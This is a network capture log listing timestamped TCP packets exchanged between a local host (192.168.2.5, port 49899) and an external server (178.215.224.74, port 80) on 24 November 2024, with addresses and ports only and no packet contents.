Nov 24, 2024 12:05:36.911801100 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.911897898 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.912024975 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.912946939 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.913100958 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.913144112 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.914083958 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.914341927 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.914400101 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.915205956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.915332079 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.915388107 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.916455030 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.916604042 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.916764975 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.917598963 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.917715073 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.917768955 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.918711901 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.918812037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.918855906 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.919816017 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.919923067 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.920017958 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.923463106 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.923480034 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.923496008 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.923512936 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.923528910 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.923557043 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.923935890 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.924093962 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.925177097 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.925231934 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.925368071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.925410032 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.926146984 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.926351070 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.926394939 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.927324057 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.927345991 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.927405119 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.928035021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.928694010 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.928740025 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.929560900 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.929759979 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.929805994 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.930713892 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.930907965 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.931113958 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.932005882 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.932020903 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.932090044 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.933095932 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.933271885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.933317900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.934180021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.934385061 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.934429884 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.935473919 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.935489893 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.935540915 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.936522007 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.936707020 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.937231064 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.937285900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.937290907 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.937331915 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.939390898 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.939405918 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.939449072 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.940527916 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.940710068 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.940754890 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.941205978 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.941382885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.941433907 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.942415953 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.942610025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.942658901 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.943528891 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.943692923 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.943739891 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.944566011 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.944927931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.944973946 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.945960999 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.945977926 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.946031094 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.947457075 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.947474003 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.947525978 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.948317051 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.948507071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.948565006 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.949407101 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.949420929 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.949539900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.950473070 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.950649977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.950696945 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.951520920 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.951693058 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.951735020 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.952585936 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.952610016 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.952661991 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.953305006 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.953459024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.953507900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.954411030 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.954526901 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.954729080 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.955610037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.955785036 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.955832005 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.956943035 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.957077026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.957134962 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.958096027 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.958260059 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.958810091 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.959264994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.959356070 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.959925890 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.960311890 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.960364103 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.960850000 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.961343050 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.961462975 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.961528063 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.964942932 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.013585091 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.106034994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.106164932 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.106247902 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.106690884 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.106843948 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.106900930 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.107712030 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.107820034 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.107866049 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.108845949 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.108985901 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.110011101 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.110054016 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.110097885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.110141039 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.111166000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.111284018 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.111329079 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.112262011 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.112375021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.113500118 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.113547087 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.113593102 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.113637924 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.114717007 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.114804983 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.115781069 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.115825891 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.115931988 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.115983963 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.116888046 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.117032051 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.118087053 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.118113041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.118124962 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.118156910 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.119190931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.119328022 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.119371891 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.120338917 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.120444059 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.121484041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.121526003 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.121575117 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.121615887 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.122652054 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.122802019 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.123788118 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.123848915 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.123899937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.123939037 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.124991894 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.125060081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.126132011 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.126177073 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.126218081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.126260042 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.127302885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.127394915 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.127435923 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.128449917 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.128576994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.129575968 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.129620075 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.129662037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.129703999 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.130724907 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.130837917 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.131347895 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.131875992 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.131994009 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.133045912 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.133089066 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.133135080 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.133176088 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.134221077 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.134325981 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.134871960 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.135355949 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.135497093 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.136481047 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.136527061 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.136588097 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.136631966 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.137636900 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.137814999 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.138777971 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.138788939 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.138876915 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.139959097 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.140002966 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.140044928 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.140086889 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.141108036 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.141197920 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.142265081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.142328024 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.142366886 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.142410040 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.143407106 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.143512011 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.143556118 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.144555092 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.144712925 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.145705938 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.145752907 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.145816088 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.145858049 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.146847010 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.146980047 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.148011923 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.148056030 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.148118019 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.148163080 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.149202108 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.149272919 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.150326014 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.150367022 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.150432110 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.150475025 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.151554108 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.151668072 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.151716948 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.152656078 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.152772903 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.154026985 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.154071093 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.154100895 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.154141903 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.154931068 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.155073881 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.155116081 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.156142950 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.156249046 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.157246113 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.157296896 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.157367945 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.157409906 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.158534050 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.158776045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.158999920 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.159697056 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.159755945 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.160691977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.160734892 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.160799026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.160840034 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.161942005 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.161981106 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.162046909 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.163011074 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.163126945 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.163168907 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.164172888 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.164230108 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.165334940 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.165386915 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.165442944 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.165482044 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.166408062 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.216811895 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.311486959 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.311501026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.311633110 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.311743975 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.311927080 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.311994076 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.312942982 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.313009024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.313060999 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.314037085 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.314142942 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.314970970 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.315191031 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.315330029 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.316344976 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.316400051 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.316452980 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.316495895 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.317511082 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.317610979 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.318624020 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.318677902 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.318732023 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.318779945 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.319850922 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.319998026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.320053101 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.320952892 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.321063042 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.322112083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.322211981 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.322222948 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.322288990 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.323251009 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.323367119 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.323441982 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.324454069 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.324580908 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.325601101 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.325680017 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.325753927 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.325819969 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:37.326716900 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.326836109 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:37.327852011 CET	80	49899	178.215.224.74	192.168.2.5
